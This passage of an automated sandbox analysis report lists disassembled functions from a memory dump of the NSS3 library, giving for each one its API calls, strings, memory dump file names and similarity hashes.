PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C4C7E5B

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C4C7E7B

Part of subcall function 6C51FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C518D2D,?,00000000,?), ref: 6C51FB85
Part of subcall function 6C51FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C51FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C5E925C,?), ref: 6C4C7E92

Part of subcall function 6C51B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5F18D0,?), ref: 6C51B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C4C7EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C4C7ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C4C7EFA

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: e6372a7eb72bad3fe0bcc6b9cf9c85a7101c312cc74077b1c72de0ef34143cbb
Instruction ID: 84179b781ec2209d6e41dcbbbba80afe26a603014df5d51e92fa14725f32fd31
Opcode Fuzzy Hash: e6372a7eb72bad3fe0bcc6b9cf9c85a7101c312cc74077b1c72de0ef34143cbb
Instruction Fuzzy Hash: 9631C1BBB052109BEB10DB699C80F9777E8AF84259F194824DD55EBB51E730EC04C7A2

Function 6C51DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C51D9E4,00000000), ref: 6C51DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C51D9E4,00000000), ref: 6C51DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C51D9E4,00000000), ref: 6C51DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C51DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C51DCAD

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 1fcf9e609f4a6a60684780de0804f49bb170df0ff11e733c6c8edd5ef7582a01
Instruction ID: 8cd000f8c9d423c6391961d07b2fc0affa592f39a851ab1f8e4bd26d6eda0b81
Opcode Fuzzy Hash: 1fcf9e609f4a6a60684780de0804f49bb170df0ff11e733c6c8edd5ef7582a01
Instruction Fuzzy Hash: A9318FB5A04200DFE751CF1DDC88A56B7F8AF6535CF148829E948CBB40E776E944CBA1

Function 6C4E2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C4DE728,?,00000038,?,?,00000000), ref: 6C4E2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C4E2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C4E2E9E
PR_Unlock.NSS3(?), ref: 6C4E2EAB
PR_Unlock.NSS3(?), ref: 6C4E2F0D

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 75d7396897ed6fda3dfdcf6c3ade752ae7d6b112710d61b42e0051bf032ed736
Instruction ID: 949a022f0b6567036f6653146476836c29c55b54fbbad65cc81fe598f5fb0b7e
Opcode Fuzzy Hash: 75d7396897ed6fda3dfdcf6c3ade752ae7d6b112710d61b42e0051bf032ed736
Instruction Fuzzy Hash: 2431E7B5A00106ABEB00EF29DC85C6ABB75FF4925AB058175ED08C7B11EB31ED54C7E0

Function 6C501EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&Pl,6C4E6295,?,00000000,?,00000001,S&Pl,?), ref: 6C501ECB

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

TlsGetValue.KERNEL32(?,00000001,?,S&Pl,6C4E6295,?,00000000,?,00000001,S&Pl,?), ref: 6C501EF1
EnterCriticalSection.KERNEL32(?), ref: 6C501F01
PR_SetError.NSS3(00000000,00000000), ref: 6C501F39

Part of subcall function 6C50FE20: TlsGetValue.KERNEL32(6C4E5ADC,?,00000000,00000001,?,?,00000000,?,6C4DBA55,?,?), ref: 6C50FE4B
Part of subcall function 6C50FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C50FE5F

PR_Unlock.NSS3(?), ref: 6C501F67

Strings

S&Pl, xrefs: 6C501EA0

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&Pl
API String ID: 704537481-981677349
Opcode ID: 60b63a77e4833e1204f38bda6aca7fa05fec75b7db321b756759276f539a4422
Instruction ID: 117635fb51ac4dbf1300b350daf6eef946429ccdefe19ba6acb9dfbf85996a26
Opcode Fuzzy Hash: 60b63a77e4833e1204f38bda6aca7fa05fec75b7db321b756759276f539a4422
Instruction Fuzzy Hash: DF21F575B00204ABEB00DE6AEC85E9B3769AF8136CF154524FD08C7B11EB30ED5487E2

Function 6C52CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C52CD93,?), ref: 6C52CEEE

Part of subcall function 6C5214C0: TlsGetValue.KERNEL32 ref: 6C5214E0
Part of subcall function 6C5214C0: EnterCriticalSection.KERNEL32 ref: 6C5214F5
Part of subcall function 6C5214C0: PR_Unlock.NSS3 ref: 6C52150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C52CD93,?), ref: 6C52CEFC

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C52CD93,?), ref: 6C52CF0B

Part of subcall function 6C520840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5208B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C52CD93,?), ref: 6C52CF1D

Part of subcall function 6C51FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C518D2D,?,00000000,?), ref: 6C51FB85
Part of subcall function 6C51FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C51FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C52CD93,?), ref: 6C52CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C52CD93,?), ref: 6C52CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C52CD93,?,?,?,?,?,?,?,?,?,?,?,6C52CD93,?), ref: 6C52CF78

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: f811c164197ce942a11a327ec6d461e6bfba92fe9b4dd254856c81341410d9d8
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: F811B7B5E003049BF710AA667C41B6BB6EC9F9454DF044139EC09D7B82FB65EE08C6B2

Function 6C4D8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C4D8C1B
EnterCriticalSection.KERNEL32 ref: 6C4D8C34
PL_ArenaAllocate.NSS3 ref: 6C4D8C65
PR_Unlock.NSS3 ref: 6C4D8C9C
PR_Unlock.NSS3 ref: 6C4D8CB6

Part of subcall function 6C56DD70: TlsGetValue.KERNEL32 ref: 6C56DD8C
Part of subcall function 6C56DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C56DDB4

Strings

KRAM, xrefs: 6C4D8C8F

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 7c5b9f412ebbaaf620a6f19000717b0504b724d1882ac8798a95a2784289d292
Instruction ID: 622a37d0b7f861881a376c8354be97d79b0da96ab3d85a1506be0e0f4420e008
Opcode Fuzzy Hash: 7c5b9f412ebbaaf620a6f19000717b0504b724d1882ac8798a95a2784289d292
Instruction Fuzzy Hash: 73218CB1A05601CFD700EF29C494D69BBF0BB45604F06896AD8888B711DB35E886CBC2

Function 6C4E3810 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C4CA8F0,?,00000000), ref: 6C4E3827
EnterCriticalSection.KERNEL32(?,?,6C4CA8F0,?,00000000), ref: 6C4E3840
TlsGetValue.KERNEL32(?,?,?,6C4CA8F0,?,00000000), ref: 6C4E385A
EnterCriticalSection.KERNEL32(?,?,?,?,6C4CA8F0,?,00000000), ref: 6C4E386F
PL_HashTableLookup.NSS3(?,?,?,?,?,6C4CA8F0,?,00000000), ref: 6C4E3888
PR_Unlock.NSS3(?,?,?,?,?,6C4CA8F0,?,00000000), ref: 6C4E3895
PR_Unlock.NSS3(?,?,?,?,?,6C4CA8F0,?,00000000), ref: 6C4E38B6

Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07AD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07CD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07D6
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C44204A), ref: 6C4B07E4
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,6C44204A), ref: 6C4B0864
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C4B0880
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C44204A), ref: 6C4B08CB
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08D7
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08FB

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 893b03afc73ddd1ad2e4ccc9ab3d1993e4bfefcf329e89ff1b43648ea9d5dca8
Instruction ID: d72528c557236f8cd3cfe8d96226003acc6120c88cee484a0c16d3afba6be50a
Opcode Fuzzy Hash: 893b03afc73ddd1ad2e4ccc9ab3d1993e4bfefcf329e89ff1b43648ea9d5dca8
Instruction Fuzzy Hash: 532159B5A04604DBDB00EF79C484969BBF4FF48255B068A69DC98CB711EB30E895CBD1

Function 6C4E8E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C502E62,?,?,?,?,?,?,?,00000000,?,?,?,6C4D4F1C), ref: 6C4E8EA2

Part of subcall function 6C50F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C50F854
Part of subcall function 6C50F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C50F868
Part of subcall function 6C50F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C50F882
Part of subcall function 6C50F820: free.MOZGLUE(04C483FF,?,?), ref: 6C50F889
Part of subcall function 6C50F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C50F8A4
Part of subcall function 6C50F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C50F8AB
Part of subcall function 6C50F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C50F8C9
Part of subcall function 6C50F820: free.MOZGLUE(280F10EC,?,?), ref: 6C50F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C502E62,?,?,?,?,?,?,?,00000000,?,?,?,6C4D4F1C), ref: 6C4E8EC3
TlsGetValue.KERNEL32(?,?,?,6C502E62,?,?,?,?,?,?,?,00000000,?,?,?,6C4D4F1C), ref: 6C4E8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C502E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C4E8EF1
PR_Unlock.NSS3 ref: 6C4E8F20

Strings

b.Pl, xrefs: 6C4E8E96, 6C4E8F25

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.Pl
API String ID: 1978757487-2080897881
Opcode ID: 98978a90a46a8bd6fa22a225a9690a48caf26e53c1a63e725cc2f89a7ec6a25c
Instruction ID: 6c6da7d7be7267fdf7584f3a8c5b2fa82fbb4ac62ef0433d29a0a01e9a88b193
Opcode Fuzzy Hash: 98978a90a46a8bd6fa22a225a9690a48caf26e53c1a63e725cc2f89a7ec6a25c
Instruction Fuzzy Hash: 38215E719096059FDB00EF2DD484A99BBF0FF48316F02456EE89897B41D730E854CBD5

Function 6C553E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C555B40: PR_GetIdentitiesLayer.NSS3 ref: 6C555B56

PR_EnterMonitor.NSS3(?), ref: 6C553E45

Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C5890AB
Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C5890C9
Part of subcall function 6C589090: EnterCriticalSection.KERNEL32 ref: 6C5890E5
Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C589116
Part of subcall function 6C589090: LeaveCriticalSection.KERNEL32 ref: 6C58913F

PR_EnterMonitor.NSS3(?), ref: 6C553E5C
PR_EnterMonitor.NSS3(?), ref: 6C553E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C553EA6

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

PR_ExitMonitor.NSS3(?), ref: 6C553EC0
PR_ExitMonitor.NSS3(?), ref: 6C553ED7
PR_ExitMonitor.NSS3(?), ref: 6C553EEE

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 5d90d337015e1a0306b4c679fb0f106d53dac818cd43044f2480d9ed7e93b47e
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 2E1175B1611610EBDB319A29FC02BC7B7E1AB81318F800835E55E86A21F636E939C752

Function 6C518970 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,6C4C61C4,?,6C4C5639,00000000), ref: 6C518991
TlsGetValue.KERNEL32(?,?,?,?,?,6C4C5639,00000000), ref: 6C5189AD
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C4C5639,00000000), ref: 6C5189C6
PR_WaitCondVar.NSS3 ref: 6C5189F7
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C4C5639,00000000), ref: 6C518A0C

Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07AD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07CD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07D6
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C44204A), ref: 6C4B07E4
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,6C44204A), ref: 6C4B0864
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C4B0880
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C44204A), ref: 6C4B08CB
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08D7
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08FB

Strings

9VLl, xrefs: 6C518986

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID: 9VLl
API String ID: 2759447159-3701348175
Opcode ID: 85b2991c5c1e66f344faebe64ca9bed2102fedd2ad78a10443b5680a7640e512
Instruction ID: 787618d0523c904b1874467129037823fae2438ccd2b55b848692b0cb551fa62
Opcode Fuzzy Hash: 85b2991c5c1e66f344faebe64ca9bed2102fedd2ad78a10443b5680a7640e512
Instruction Fuzzy Hash: DB2171B4908705CBDB10EF69C8885A9BBF4FF05318F164A6ADC5496A01E730D884CBD3

Function 6C5D2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C5D2CA0
PR_ExitMonitor.NSS3 ref: 6C5D2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C5D2CD1
strdup.MOZGLUE(?), ref: 6C5D2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C5D2D27

Strings

Loaded library %s (static lib), xrefs: 6C5D2D22

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: ade95a9bb8360d289fb7e7b672cb53bf924b84c144a3b026ce91f0a3aa33cf7d
Instruction ID: 4f585e11dcbe47d121213dc64f7321f7718f2e312ef9711aed5e6d56bc04a2a4
Opcode Fuzzy Hash: ade95a9bb8360d289fb7e7b672cb53bf924b84c144a3b026ce91f0a3aa33cf7d
